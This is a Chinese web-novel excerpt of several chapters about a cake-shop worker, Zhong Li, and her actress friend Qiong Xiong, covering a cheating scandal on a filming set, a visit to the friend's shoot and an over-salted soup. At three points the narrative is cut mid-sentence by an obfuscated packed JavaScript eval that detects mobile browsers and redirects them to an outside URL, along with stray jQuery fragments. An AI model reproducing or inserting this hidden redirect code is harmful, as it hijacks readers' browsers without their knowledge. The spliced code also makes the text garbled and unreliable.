钟励抽空喝口水的功夫,她刷了会手机,才了解到人流量异常的原因。
“原来是有一个节目在附近拍摄,这档节目琼芎也参加啊。”
钟励拧紧保温杯的盖子,心想着要不要给琼芎发条消息过去,她闭关工作已经好久了。要是路过这里,她说不定还能送一块小蛋糕给她。
她亲自试过了,那款开心果味的很好吃,也不甜,虽然她要保持身材,但偶尔吃一点点也可以吧。
钟励没给琼芎发消息,她在录节目发了也没有办法回。干脆给经纪人何姐发了,没几秒就收到了回复,说琼芎确实在附近。
她嘿嘿一笑,转身跟纪善说道:“帮我打包一份开心果口味的,一会儿我要送人。”
虽然节日的蛋糕更贵了,但钟励还是爽快付款了。有时候仪式感也很重要嘛。
纪善站在柜台里面,却迟迟没有动作。
钟励歪了歪头,纳闷问道:“怎么了?你要休息?”她说着就要自己去取蛋糕。
纪善伸出手握住了她的手腕,温暖干燥的手触感鲜明,钟励跟被静电点到了一样,立刻甩开了。
“怎么了?”
“不用买给我了,节日溢价,不值。”
钟励眨了眨眼,手上动作不停,取出了小蛋糕,是最后一块了,后厨还得过段时间才能做出来新的。
她动作干脆利落,短短十几秒外包装也好了。
“我什么时候说是给你的了?别太自恋哦。”
钟励小心提着蛋糕保持平衡,尽量维持表面的完美,不要让奶油沾的到处都是。
将蛋糕放到后厨的冰箱后,钟励拍拍手走了出来。
一出来就看到一堆女生围在纪善身边,纷纷表示要是想吃蛋糕,她们愿意送。
钟励瞠目结舌,一旁的老板笑得乐开花,皱纹都加深了。
确实摇钱树哈。
只见纪善摇摇头,说不用了他不吃。
女孩们表示很遗憾,但还是让他打包了几块蛋糕带回去,顺便在看人打包的时候,又一次赞叹他的美貌。
暖光下纪善双手骨节分明,手指缠绕打结的廉价丝带都变贵了不少。
钟励刚给何姐发了消息,不料是琼芎回复的。
钟励:【你有空看手机?不是在工作吗?】
琼芎:【既然要送小蛋糕,当然还是本人亲自来更好。一会儿我录节目会经过你那边,摄像机没拍到的地方你递给我就好了。】
钟励:【工作辛苦啦,来块甜甜的小蛋糕犒劳一下自己吧。】
她发出去后突然想到什么,又啪啪啪打字:【那你是不是要维持身材啊,吃一块蛋糕不会要锻炼好久吧。】
明星跟普通人还是不一样的,她吃了一块蛋糕,吃了就吃了。也不会进健身房锻炼。
琼芎:【不会的,偶尔吃一块嘛。】
看到琼芎的回复,钟励放下心来。她一抬眼,围着纪善的女孩们又换了一拨人。
当然也有好处的,把老板的目光都吸引过去了,钟励摸摸鱼都没人注意到。
“啊啊啊啊。”
钟励站在店里,就听到店外的马路上传来一阵阵尖叫。
围着纪善的女孩子们也一哄而散了,钟励与老板面面相觑,看来还有更大的诱惑在。
没过多久,尖叫声越来越近,只看到一群人高高举起手机,一边拍一边往后退。安保人员手牵手形成一个圆润的包围圈,将路边的群众挡在外面。
安保人员又走了几步,看到一台台厚重的摄像机,最后才是呆在层层包围圈里的明星。
钟励隔着一道玻璃门,看到了琼芎,她一身舒适的休闲装,扎了一个高高的马尾,马尾带一点大卷,妆容清淡,清纯无比。
琼芎朝她眨了一下眼睛,笑容甜美。周边粉丝的呼声顿时高昂起来。
钟励还听到围观的路人惊叹道:“长这么漂亮还会媚粉,不红都说不过去啊。”
只见几个明星朝着他们这家蛋糕店走来,老板也很意外,这泼天的流量。
赶紧招呼了几个店里的员工去门口夹道欢迎,钟励也在其中。
一群人路过她的时候,钟励感觉到自己放在大腿身侧的右手小指被轻轻碰了一下,还没抬头,鼻尖一阵柑橘味香水拂过,是琼芎的味道。
钟励晕浓香,所以基本上琼芎也只会喷清淡的香水。
因为人多,这一个小动作倒也无人发现。
店里容纳不下那么多人,许多人都只能站在店外围观,乌泱泱的人两眼放光看着店里,钟励感觉瘆得慌,跟丧尸围城一样。
节目有序录制着,突然有两个女生不顾阻拦冲了进来,一路直指纪善的方向。
吓得安保人员赶紧围在明星身边,还以为遇到了过激粉。但俩人一路直视前方,掠过了保护下的明星。
“纪善,你这个渣男。”
为首的女人将一叠打印的一摞纸甩在纪善面前,钟励看着在空中飘落随后落在她脚下的其中一张。
是聊天记录,女生一直在发消息,而身为另一方的纪善偶尔回复嗯嗯哦哦,敷衍无比。
最后女生挑明纪善是不是出轨的时候,纪善来了一句:【你要是这么想我也没办法。】
随后女生喜提一个红色感叹号。
她打的小作文根本都没发出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587948|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去。在场围观的人群大部分都是女孩子,见此现状不免心生同情,为当事人打抱不平。
“天呐,这个帅哥看着人模人样,居然干出这种事情来。”
“哎呀,现在专一的帅哥只存在于小说当中了,现实生活里,是个男的就算长得丑,他也会出轨。”
“有时候发现被爱了,其实是没查手机。”
钟励看着着两个女生,觉得很眼熟。仿佛就是之前来公寓找过纪善的那几个人。
那纪善的解释是怎么回事?她低头去看两个怒气冲冲女生的影子,还是上下起伏的胸腔。很明显的活人啊,纪善海王无疑了。
综艺节目的录制都被打断了,大家都更倾向于吃瓜。
现场一片混乱,琼芎浑水摸鱼来到了钟励身边。
“我的小蛋糕呢。”
钟励指了指冰箱,“帮你冷藏好了。一会儿我拿给何姐吧,你在录节目不方便。”
琼芎满意点点头,随后她眯着眼望向钟励,怀疑问道:
“你没有给别人送吧。”嘴里说是别人,实则眼神已经朝纪善那边瞥了。
钟励摇摇头,“当然没有啦,节日的蛋糕这么贵,钱要花在刀刃上,我当然只舍得给你一个人送。”
琼芎挑眉:“是吗?他是渣男欸,你就不难过生气吗?”
钟励一脸莫名其妙,她跟纪善又不是交往的关系,她难过什么?
“我有什么好难过的?我不在乎这种事情。”
“那你在乎什么?”
钟励眼神放空,她双手抱胸,仿佛看透世间万物。“我现在,已经很少有能引起我波澜的事情了。”
控诉纪善是渣男的两个女生没有停留很久,五分钟后就离开了。围观的群众吃了一嘴瓜,随着离开换地方的节目组也离开了。
钟励捶了捶手臂,用力踩了几下瓷砖地板,脚底震得发麻,站久了有点累。
终于到了下班的时候,钟励迫切想去吃点热乎乎的食物,正好最近新开了一家麻辣烫店,她脱下围裙带好自己的包开心离开了,未锁屏的手机页面上是跟老板的聊天界面,日结工资。
钟励一进麻辣烫店,从消毒柜里拿出有点重量的透明盆跟夹子,她先对着空气夹了几下,再走到摆放食物的地方。
她按照惯例夹了几片生菜娃娃菜,鸭血,火锅面……她颠了几下,觉得这个重量可以了。
“招牌,中辣。”
店员递给钟励一个带着数字的夹子,说道:“好的,31.72,我扫您。”
钟励打开支付页面到一半,猛地抬起头,尾音发颤:“多少?”
“31.72元。”店员保持微笑重复了一遍。
钟励又去看称上的数字,确实是31.72元没有错。
“滴”的一声,她紧握手机付了钱,心仿佛在滴血。
等待麻辣烫的间隙,她看着挑选食物处上方的价格表,28.8元一斤。
她抬起手捶了几下心窝,“让你不看价格,长教训了吧。”还以为所有麻辣烫店的价格都差不多,实在是大意了。
很后悔,几个小时前不应该跟琼芎说现在没有引起她心情波动的事情,这下好了老天给她打脸了。
钟励拎着一盒高达31.72元的麻辣烫回家,一路沉默。
她以后会谨言慎行的,要避谶。
33. 第 33 章
钟励又恢复了无所事事的模样,因为一天躺在床上的时间太多了,导致她一天只吃一顿饭。之前上班的过劳肥都减了几斤。
她躺在床上自言自语,外卖软件翻了好几遍了,没有很想吃的。想吃炸□□,但是又不知道哪家卫生,一看差评跟交流软件上的帖子,又觉得这个炸鸡也不是一定要吃。
那吃螺蛳粉,昨天才吃过。换个新意吧。想吃点饭又怕花了贵价吃预制菜。
“要是有营养液好了,我直接喝一口。省得我天天做决定。”
自从圣诞之后,纪善跟外派了一样,一天天见不着人影。
钟励耷拉着眼皮,直直正面躺在床上刷外卖,抬手拿着手机有点累了,但她又懒得翻身。并且听说侧着容易让两只眼睛的近视度数不一样,所以她偶尔会正面躺着玩手机,平衡一下度数。
突然消息界面弹出一条琼芎发来的消息。
琼芎:【最近天气降温了,记得多穿衣服啊。不要像我一样感冒了。】
几秒后她发来一张照片,琼芎身高挺高的,比钟励高出半个头呢。此时却缩在片场角落的一张折叠凳子上。鼻尖跟人中的皮肤都红红的,手上还捏着一张纸巾。
钟励:【感冒了?】
琼芎这一行经常熬夜,免疫力下降,又减肥,加上有时候冬天拍夏天的戏份,确实容易感冒。
琼芎:【是的呀,加上我助理车祸骨折了,我现在都没人理呢。孤苦无依。】
【流泪猫猫头.jpg】
【大冬天的想喝一口热汤都没有。】
钟励不解:【大明星,动用你的钞能力,什么汤没有啊?还要苦着自己。】
钟励缩在被窝里,被子蒙头盖着,温度逐渐上升,湿度也逐渐上升。手机屏幕渐渐出现了水雾,她一把掀开被子,冷冽的空气扑面而来。
琼芎:【唉,外卖我怕预制菜,怕不健康。主要是吧,我看到其他演员有人探班带饭,内心有一点点小羡慕。】
【要是某人可以过来的话,我可以机票住宿全包哦。】
钟励:【那我去给你探班?也不是为别的,也不是因为机票住宿全包。听说那么剧组有一个新生男演员,我之前看过他演的,还可以,想去看看真人。】
琼芎一反几分钟前楚楚可怜的模样,她发了一个阴暗爬行的表情包,说道:【别来了,就算你来了也不用理我,让我冷死饿死在无人问津的角落里吧。】
钟励失笑摇摇头:【那你助理骨折了得休息三个月吧,俗话说伤筋动骨一百天。那你赶紧找个新助理,你可是甲方,这还不容易啊。】
她发完字退出聊天软件,去搜到琼芎工作地点的机票,要大好几千,心疼心疼。加上还有酒店住宿。
钟励:【咳咳。我到了可以跟你一个房间吗?】
放在她们学生时代经常一起躺在一张床上,晚上大脑异常兴奋,聊东聊西的。学校0.9m的床很小,勉强容纳下两个人,双方都能汲取到对方身上的温度。
“啧,你压我头发了。”
“哦哦不好意思。”
“你抢我被子了,我一半都漏在外面了。”
“那我还一半悬空了呢,都要掉下去了。”
最后在宿管阿姨的敲门警告下,两人这才安稳入睡。
琼芎异常兴奋,【你真的要来?这次我保证不嫌弃你抢我被子了。】这话连发了三遍。
看来大家脑回路很相似,都想到了之前的事情。
钟励一个翻身坐了起来,薄绒的睡衣还是无法抵御寒冷,她将枕头立起来靠在床头,又把被子围住自己,像一个坚固的堡垒。
钟励:【可说好啊,我不会做饭的,要是我给你煮汤了你不喝完,有你好看的。】
琼芎立刻发来一个遵命的兔子表情包,【保证完成任务。】
【不说了开工了,到时候来我的地盘,我带你玩。】
钟励失笑摇摇头,做饭只是幌子,她做饭只能算做熟,熟了就吃,吃不死就行。
既然约好了,那就行动起来。
钟励买了最近的航班,给琼芎发了过去。
她这人有一个毛病,要不收拾东西就不收拾,要是开始收拾起来,一定要收拾完。
本来是打开衣柜收拾衣服的,又开始全部整理了。
都整理衣柜了那其他的也收拾吧,既然都收拾卧室了那其他的干脆一起吧。就这样,完成了一次大扫除。钟励扭了扭脖子,捶捶酸疼的肩膀。
她还从衣柜底下翻出来之前做手工的钩针,她钩的一只三花小猫。虽然没有很精致,但有一种蠢萌的感觉。
“那送给琼芎吧。”本来当初做这只小猫的时候也是打算送给她的,只是那个时候两人断了联系。
琼芎很喜欢小猫,还说以后要养,她大学时期就是学校猫咪救助团里的成员,协助小猫绝育、领养什么的。
礼轻情意重嘛,钟励一点儿也不觉得大老远过去只送一只钩针的小猫有什么不好的。
钟励虽然给琼芎发了航班的截图,但打码了具体时间,也是害怕琼芎非要来接她,让她休息的时候就安心休息,不要跑来跑去的。
钟励:【不知道时间,我突然去到,给你一个惊喜不好吗?】
这是她的说法,经纪人何姐看得一愣一愣的,说她以后谈恋爱了也别成为渣女啊。话术一套一套的。
钟励悄咪咪拖着行李箱到了琼芎所在的酒店,手上还提着一袋子的菜,她下飞机后点的外卖,刚刚好在酒店门口就碰上外卖员了,干脆一并拿上来。
门口放着钟励预定的锅,这酒店什么工具也没有。她到时候还想把锅寄快递寄回去得了,免得浪费。
她开门进去的时候,只敢把行李箱放在门附近,要是推到里面,行李箱轮子滚动的声音大,怕吵醒她。琼芎住的是套房,钟励轻轻拧下门把上,看到她还拉着窗帘躺在床上呼呼大睡。
钟励又掂着脚尖走了几步,走到床边,看到琼芎胸腔规律的起伏,她点点头安心离开了。只是琼芎的黑眼圈也很重啊,跟她这个熬夜玩手机的夜猫子有得一比。
不会做饭真不是谦辞,钟励是真不会。
她打开手机,前几天收藏的菜谱五花八门的。她打算煮虫草花乌鸡汤,她在外面偶尔会喝到,应该算是简单类的吧。
食材全部都是处理过的了,不得不感叹现代社会就是方便,要是让她杀鸡处理内脏,她可不会。
将乌鸡焯水后,清洗掉血沫。跟其他洗干净的食材一并放进锅里。
钟励拍拍手,双手叉腰,感叹道:“其实做饭也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14607616|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很简单嘛,就比如做饭,食材全部放进去,煮熟就好了。”
汤煮开了,钟励拿起一个干净的勺子舀了一点,她吧唧两下嘴,拧着眉头。
“怎么没味道?哦对,我还没放盐。”
钟励到的时候已经是下午了,晚上虽然她也要吃饭,但她只煮汤,晚饭还是吃外卖。
她手上还湿着,半天撕不开盐的包装袋,差点要上嘴了。剪刀也找不到,最后只能无奈将右手放在空中狠狠甩几下,加速风干。
“倒一点就行了吧。”
钟励小心翼翼往汤勺上倒盐,她的手是拖着盐包的底部,本来一开始是捏着左边的,但好像盐巴结晶了还是怎么样的,很难倒出来。
白色的盐晶接触到滚烫的汤后,融化在里面。“好像还差一点点。”钟励又往里倒了点。
“钟励。”
她身后传来琼芎惊喜的尖叫声,听得出来感冒没有全好,还带着鼻音。
琼芎还披散着乱糟糟的头发,眼睛亮晶晶的。这架势看来是要冲过来抱住她。
“打住打住,我在给你煲汤呢。”虽然只是把所有的食材都放进水里煮开。
钟励光顾着跟琼芎说话了,她没注意到的是,由于是底部拖着盐包,“唰”的一下,盐晶直接倒下去了一勺子。
可盐融化的速度也快,当她回头的时候,盐的痕迹已经消失了。
“你真好,大老远跑过来。”
琼芎还是忍不住抱住了钟励的腰。
钟励双手高高举起,看着冒烟的汤觉得应该也差不多了,她刚刚尝过,味道虽然是淡了一点,但琼芎本来就要控制食用盐的摄入量,那应该是差不多了。
她拍拍放在自己腰部的属于琼芎的手,说道:“我辛辛苦苦给你做的,要是不喝完,可对不起我啊。”
琼芎松开了她,点点头,“遵命,长官。”
其实钟励这锅不大,乌骨鸡也只有半只,她拿住仅带的一只陶瓷碗,给琼芎盛了一碗。
“怎么样?快喝吧。感冒好了没有?”
琼芎在沙发上坐了下来,碗虽然是放在了桌子上,但她依旧双手托在碗的两边。
“差不多了,再过几天就能好。”
琼芎吹凉汤后,捧起来喝了一口。
但不知道是喝太大口了还是怎么样?突然猛烈咳嗽起来,白皙的皮肤瞬间红得像刷了一层粉色油漆。
钟励连忙跑过去拍拍她的背,“怎么了?这么激动。”
“没有没有,太好喝了,所以有点激动。”
琼芎又给自己盛了一碗,钟励纳闷道有好喝到这种程度吗?
不过能被肯定钟励还是很高兴的,她嘿嘿一笑,拿着汤勺说道:“那我也尝一口。”
钟励舀了一勺,大口往口腔里灌。“咳咳咳,咳咳咳。”
“好咸。”
在汤接触到喉咙的那刻,她忍不住咳了起来,跟喝盐水一样,琼芎居然能喝这么多。
“琼芎,你怎么回事?没有味觉了吗?这么咸你都喝。”
琼芎一脸茫然,她又喝了一口,说道:“我感觉还行啊,不咸。”
钟励抢走她手中的碗,一并将所有的汤都给倒掉了。
“大明星你可是要上镜的,盐吃多了小心水肿。”
34. 第 34 章
“咸吗?”琼芎吧唧两下,摇摇头,“我感觉刚刚好啊。”
“行了行了,别喝了,也不用这么捧场。”
钟励一把夺过琼芎手里的碗,轻轻扔到了锅里。
好心办坏事了,她长叹一口气,问道:“明天要拍戏吗?”
好在琼芎不是容易水肿的体质,只见她嘿嘿一笑,笑容单纯,“我明天休息,放心吧。”
“这么大人了也没有一点儿主见啊,咸了你就说呗,没必要觉得浪费。吃饱了就不吃,撑坏了胃更不好。汤咸了就别喝,到时候水肿你消不下去会影响工作。”
“因小失大的。”
钟励已经在网上预订了明天一早的冰美式,能消肿一点是一点。
“知道了知道了。”琼芎接过钟励给她倒的温水,咕咚咕咚几下全干了。
“对了。”钟励从包里掏出她之前做的三花小猫钩针,她拿在琼芎面前晃了晃。
“之前就做好了,只是一直没有机会送给你。”
琼芎惊喜接过去捧在手心,笑容不停,“你自己做的吗?”
她这里捏捏,那里捏捏。
“你之前不是一直说要养猫吗?也工作好几年了,怎么没见?”
琼芎的笑容淡了一些,她回答道:“也不知道怎么回事,突然没有了小猫的缘分,现在路边看到猫,一见我就撒腿跑。”
“怎么会?”钟励发出疑问,琼芎之前能当救助小猫的社团成员,就证明她绝对是讨动物喜欢的。
琼芎兴致缺缺,双手放在大腿上,揉捏着手中的小猫钩针,从钟励的角度能看到她流畅的侧脸。
“琼芎,你天庭饱满啊,是有钱的象征哦。”
钟励要是因为工作或者其他烦心事困扰的时候,就会上社交软件搜一堆玄学,并且对应自己。好的信,坏的她就说是封建迷信。
琼芎闻言挑眉,伸出一只修长的手,用食指戳了戳钟励的额头,笑笑说:“你也是啊,天庭饱满,额头开阔,有福气哦。”
钟励躲开她的指头往后仰,“嘶,我怎么感觉你这话像是在说我发际线高的样子。”
“才没有,又冤枉我。”琼芎抱着她的腰讨饶。
长到腰部的头发偶尔会飘到钟励的手臂上,痒痒的,她拍了拍琼芎的背部,说道:“大明星,起来了。怎么还跟以前一样,再过几年就是30岁了吧。”
琼芎低着头,头埋得更紧,“你也染上了算虚岁的臭毛病吗?”
钟励赶了一路飞机,累得不行,挣扎不开顺便就靠在沙发上,深深吸了口气后全身放松。
“对了。”
因为两个人是抱着的,所以琼芎说话的声音有点闷,像是从骨头处传来。
“你要不要当几天我的助理啊?我开的薪资很高的。”
似乎是怕钟励一口气会拒绝,所以干脆没给钟励说话的间隙,琼芎就一咕噜接着往下说:“我们以前,你不是还说让我开公司,让我把你招进来吗?苟富贵,勿相忘。现在让你来,又不乐意吗?”
钟励半阖着眼,她轻轻眨了几下眼睛,脑子重新按了开关,需要一段时间才能恢复运行。
“啊,这个啊。”鬓角的碎发飘进了眼里,她眨眼试图驱赶,最后还是用手把头发捎到而后。
她其实跟每一个玩得好的同学都这么说过,说要抱大腿,可当真的好像也只有琼芎一个人,当然目前也只有她发展最好。
可是钟励也有一个原则,就是不希望跟朋友熟人有经济上的往来,尤其是涉及到利益分配的时候,怕到时候丢了这个朋友。
都说创业都不要跟朋友一起,更何况她这个情况朋友还是老板。
钟励抿了抿唇,在考虑怎么拒绝:“额,我这个人好吃懒做的。做你的助理得熬夜吧。我年纪大了,熬不了夜。”
“熬夜工作跟熬夜玩手机不一样,我可以熬夜玩手机,但是不能熬夜工作。”
钟励在琼芎即将开口的时候,就又补充了一句话,堵住了她的嘴。
琼芎没有放弃,“那我给你排班,你轮白班。”
钟励一听,轻笑摇摇头:“走后门?我给你打工,你还要费尽心思给我排班,你是找助理,还是找祖宗啊?”
无论琼芎怎么说,钟励都不松口。
“来。”
“不去。”
“来。”
“不去。”
两人拉拉扯扯的,钟励躺在沙发上,眼睛都快睁不开了。
“行吧,不去就不去。你回房间去吧。”
钟励使劲睁开眼皮,迷茫看着四方,说话含含糊糊:“别关电视,我还看呢。”
琼芎轻掐她的左脸,“看看清楚你在哪里?电视就没开好吗?赶紧回去房间睡去,关上门免得吵到你,我在外面看会儿剧本。”
“嗯。”钟励揉了揉眼睛,更困了。脱下外套后掀开被子一躺到柔软的床上,直接深度睡眠。
一夜无梦,到了早上她的手机定时响起,她为了不睡到下午,都会调一个闹钟在早上十点半,不过通常闹钟响了她会按掉再睡。
“嗡嗡嗡”的在耳边震动不停,钟励伸手在床上一顿乱拍,这柔软的床垫,不是她家?她从小就是睡床板加席子的,最多冬天铺一张床单。
大脑重启,约莫过了半分钟,才想起来她是来看琼芎了。按掉闹钟后,钟励坐在床上发呆,一会儿挠挠后背,一会儿歪头假寐,在即将睡过去的时候又突然惊醒。
钟励揉了揉眼睛,眼皮沉重,她都不用看镜子,保准自己的眼皮已经肿成了青蛙。
吱嘎一声,琼芎先是打开一条细小的门缝往里看,发现钟励醒了之后推开门,她手上还拿着一杯冰美式。
“起来了?那吃早餐吧。”
钟励下意识往琼芎的眼皮看去,她一点儿也不肿,紧致的皮肤,炯炯有神的眼睛。
“冰美式消肿很有用吗?”
琼芎心有所感,她喝了一口冰美式,说道:“对肿眼泡是没有用的,这是结构问题。”
“你真讨厌,那我要喝拿铁。”钟励掀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660924|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开被子,穿着拖鞋吧嗒吧嗒走到浴室洗脸。
“我要去上班了,你要跟我一起去吗?”
琼芎为了保持身材,早餐只吃了一点儿菜叶子,在钟励看来是菜叶子,其实是沙拉(没有沙拉酱版)。
钟励手上拿着一个刚刚出炉的焦糖牛角包,吃了一半了,还有一杯冒着热气的热拿铁,听到琼芎的问题,她嚼了嚼咽下去再回答:“走吧,探班嘛。当然要跟着你走啦。”
钟励两口就把剩下的牛角包解决了,拿铁太烫了没有办法一下子喝完,还好有盖子,等一下坐车才不容易洒。
琼芎穿着低调,普通的卫衣卫裤,却提着一只黑色的铂金包,包上还挂着钟励昨天送给她的小猫钩针,为典雅的包包增添了几分童趣。
“你挂上去了?”钟励伸出手摸了摸。
“对啊。”琼芎高傲点点头,又戴上了一顶灰色鸭舌帽。
两个人搭乘车去片场,路上的时候琼芎一直紧攥着手机,咬唇咬到嘴巴没有血色,眉头皱紧。
被调成静音的手机不时亮屏,钟励斜眼扫了一下,是琼芎父亲打来的。
琼芎没耐心挂断了好几次,最后干脆把手机扔到身侧,眼不见为净。
“还好吧,叔叔又找你了?”
钟励小心谨慎开口,哪怕她们是再好的朋友,她也是无法切身体会琼芎的无奈。
琼芎闭眼往后仰,她摇摇头,声音沙哑:“没事。”只是从她一直没有放松的眉头可以窥见,她并不像她说的那样无所谓。
钟励还想再问,但已经到了片场,那就作罢,而且琼芎看着也不是很想说的样子。
琼芎工作去了,钟励帮不上什么忙,就在一旁呆着,给琼芎的保温杯里接了水,让她一休息就能喝上。
琼芎演的是一部青春校园剧,很狗血,钟励要是在学生时代绝对会看,说不定还会半夜哭湿枕头,但她现在可看不下这种强加狗血的剧情。
钟励刚从洗手间回来,就听到导演说:“咔。”宣布中场休息一下。
周边等待的工作人员一窝蜂冲了上去,只不过服务的对象不是琼芎,而是跟她演对手戏的女二。
钟励也听琼芎说过,有时候剧组里最大的不一定是主角,可能是投资方塞的其他角色。
只不过看到琼芎被如此区别对待,钟励还是免不了难过。
她拿起保温杯抬脚朝琼芎走去,她拧开盖子,递给琼芎。不巧人多,也不知道是谁撞了一下她的肩膀,保温杯里的水直直朝着琼芎泼了过去了,洒在了她的手臂上。
“你怎么样?”
钟励跑过去,仔细查看被泼水的地方,还好她已经把水放凉了,不烫,所以皮肤没有明显的红肿。
“琼芎,你的新助理就这样吗?看着手脚不灵活啊。”说这话的人是戏里的女二方烟然,她双手抱胸,眉毛高挑,来者不善。
周围的其他工作人员都低着头忙自己的事情,就当作没看到没听见。
人群来来往往,空气中焦灼的气氛一触即发。
35. 第 35 章
“你……”
钟励想说什么,被琼芎一把拉住了。
“抱歉啊,她是新来的,可能笨手笨脚了一点儿。”琼芎顾不上自己被泼水的手臂,连忙陪笑。
钟励虽有不甘,却还是安静站在琼芎后面,看着她单薄的背影,钟励紧咬牙关。她一直以为琼芎应该算是过得很不错,没想到背地里还是会被欺负。
“怎么样?没事吧。”
琼芎这个被欺负的人还要反过来安慰她,钟励一时红了眼眶,她压抑住哭腔:“这是我要问你的吧,这些事情,你怎么从来不说啊?”
她现在有代言有戏拍,都能被欺负,那刚出道还没有名气的时候呢?
琼芎闻言一笑,纤细的手指触碰到钟励的脸颊,凉凉的,像高空中的一轮孤月。
“我没事啊,你上班的时候难道就没遇到一些恶心同事吗?我赚得还比你多呢,这点委屈算什么?”
人为了生活就得受委屈,钟励也不是不明白这个道理。她求职的时候打印了一堆简历求着人家看别人都不看,最终她简历的归宿很可能是垃圾桶。就算入职了,老板的PUA,面和心不和的同事,以及那点微薄的薪水,压得人喘不过气来。
扣完房租水电交通费和饭钱,加上生病意外,一年都不知道能不能攒下一万块。能像琼芎这样高工资,一点委屈说实话也算不了什么。
可她就是见不得有人欺负她好朋友,琼芎从学生时代起就是好孩子,她的能力与出众的美貌,都能支持她活在众星捧月的环境当中。
“你之前说的事情,我同意了。”
钟励皱巴着脸,琼芎揽过她的肩膀,一起去休息室。
“什么事情?”
“就是临时当你助理的事情,你一个人在的话,我怕你受欺负。”
钟励的想法很简单,她盯着,那些人可以收敛一点儿。至少她还能察觉他们做了什么。
进了休息室后琼芎关上门,说道:“没想到还有意外之喜,之前怎么让你来都不愿意。”
“我给的薪资很高的,你绝对不亏。”琼芎推着钟励的后背,抽出一张椅子让她坐下。
“嗡嗡嗡嗡嗡嗡。”
放在化妆桌上的手机震动个不停,琼芎扫了一眼,笑容消失。
她一把抽过手机,眼里满是冷漠,对上钟励的视线后,刻意将嫌恶的表情掩藏了起来,她轻声说道:“我先去接个电话,你在这里等我一下。”
钟励点点头,“吧嗒”一声,休息室的门关上了。其实隔音也不是特别好,外面人来人往的声音钟励还是能听到一些的。
她拧开一瓶矿泉水,喝了起来。百无聊赖刷手机,迟迟等不到琼芎回来。
“叩叩叩”的敲门声响起。
“请进。”钟励话音刚落,一个满脸憔悴,额头下巴冒痘的工作人员推门而入,她看了眼休息室里的情况,问道:“琼芎呢?”
钟励手上晃荡着半瓶矿泉水,解释道:“她出去接电话了,还没回来呢。”
她怕又露出琼芎耍大牌的消息,立刻起身,“我去找找她,要开始工作了是吧。”
钟励有拨打琼芎的电话,只是一直处于通话中,她打不进去。
最后她凭着直觉拐进了一条小巷子,随行的还有一只野猫,一直在她脚边打转。
“琼芎?琼芎?”钟励已经听到了一丝说话的人声,只是野猫一直在喵喵叫,也影响了她的判断。
她每走一步,小猫也跟着一步,她要小心抬起脚才能保证不踩到小猫。
“咪咪,你乖啊,自己玩去,我一会儿给你带吃的。”钟励蹲下摸摸小猫的头,安抚道。
小猫见钟励有了回应,蹭得更起劲了。
钟励低头耐心安抚,趁小猫不注意拔腿就跑,她拐了一个弯,瞧见巷子尽头是琼芎背对着她在打电话。她也不嫌弃巷子的墙壁脏,轻轻靠在上面,手机拿在耳边,在打电话。
“我告诉你,别做梦。不可能。”
琼芎的声音冷漠、狠戾。
被钟励落下的小猫此时也屁颠屁颠跟了上来,兴许是觉得钟励这个路人靠不住,所以跑去蹭琼芎了。
“喵,喵。”
小猫低着脑袋蹭琼芎的鞋面。
下一秒,出乎钟励意料的事情发生了。以往亲切随和的琼芎,竟然一脚踢开了亲近她的小猫,小猫被踢翻在地,不敢再惹,立马跑开了。
“琼芎?”钟励狐疑看着背对着她的人,或许只是背影相似,琼芎穿的衣服也不是世间独有,撞衫很正常吧。
“滚开,别来催我。”琼芎听到了有人叫她,她不耐回应,挂断电话后没有转身就抛下了这句话。
钟励僵在原地,没有再进一步。但她也不想就此离开,她出来找人也是带着任务的。
琼芎将手机揣进兜里,她转过身,钟励是一直紧紧盯着她的,没有错过琼芎眼里划过的一丝红光,这里是没有什么光照的巷子,不可能有其他射线照到琼芎的眼睛。
一转身看到钟励,琼芎瞳孔一缩,立刻上前来拉住钟励的手臂,冰得钟励差点要甩开。
钟励反握住琼芎的手,问道:“怎么这么凉,你很冷吗?”
琼芎摇摇头,她抿了抿嘴,眼神犹豫。钟励也不催促,静静等待着琼芎接下来的话。
“我刚刚不是在对你发脾气的。”琼芎真切看着钟励的眼睛。
【她的眼睛又恢复明亮了,那道诡异的红光是怎么回事?红眼病?】钟励纳闷想道。
“我是刚刚跟我爸打电话,他让我带他那个不中用的儿子进娱乐圈。我一直生气,很抱歉迁怒了你。我以为来的是工作人员。”
钟励还没问,琼芎就全盘托出了,其实钟励没打算深究,挖掘她家庭的隐私。哪怕是最好的朋友,也不是所有事情都会倾诉。
琼芎似乎也发觉了这话说的不好,不能迁怒钟励,难道就可以迁怒其他人了吗?
但钟励似乎没注意到琼芎话里的不合适,没有做出什么反应。
钟励换了一个话题:“刚刚有没有被猫抓到?野猫的爪子都是很锋利的。”
